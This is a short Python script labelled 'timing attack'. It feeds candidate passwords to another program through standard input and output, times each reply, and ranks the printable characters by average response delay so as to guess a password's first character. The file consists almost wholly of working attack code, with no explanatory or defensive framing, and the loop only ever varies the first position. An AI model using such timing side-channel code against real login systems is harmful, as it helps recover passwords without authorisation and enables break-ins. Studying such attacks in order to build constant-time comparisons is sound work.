timing attack

timing.py

#!/usr/bin/env python
#
# export PYTHONUNBUFFERED=true
import sys
import os
import operator
import string
import datetime

def _out(msg):
    #sys.stderr.write('< \'%s\'' % msg)
    sys.stdout.write(msg)

def _in(msg):
    sys.stderr.write('> \'%s\'' % msg)
if __name__ == "__main__":
    password = 'a' * 12
    n_iteration = 100
    stats = {}

    # read the first line
    line = sys.stdin.readline()

    for count in range(1, n_iteration):
        for char in string.printable:
            password = char + password[1:]
            _out(password)
            start = datetime.datetime.now()
            line = sys.stdin.readline()
            end = datetime.datetime.now()
            delta = end - start
            #sys.stderr.write('%s: %d\n' % (char, delta.microseconds))
            #sys.stderr.write('%s\r' % (char,))

            # update statistics
            value = stats.get(char, datetime.timedelta(0))
            stats[char] = value + delta

            if line == "":
                break

        sort = sorted(stats.iteritems(), key=operator.itemgetter(1), reverse=True)

        sys.stderr.write('iteration %d\n' % count)
        for key, value in sort[:5]:
            sys.stderr.write('%s: %f\n' % (key, (value.microseconds + (value.seconds * 1000000))/float(count)))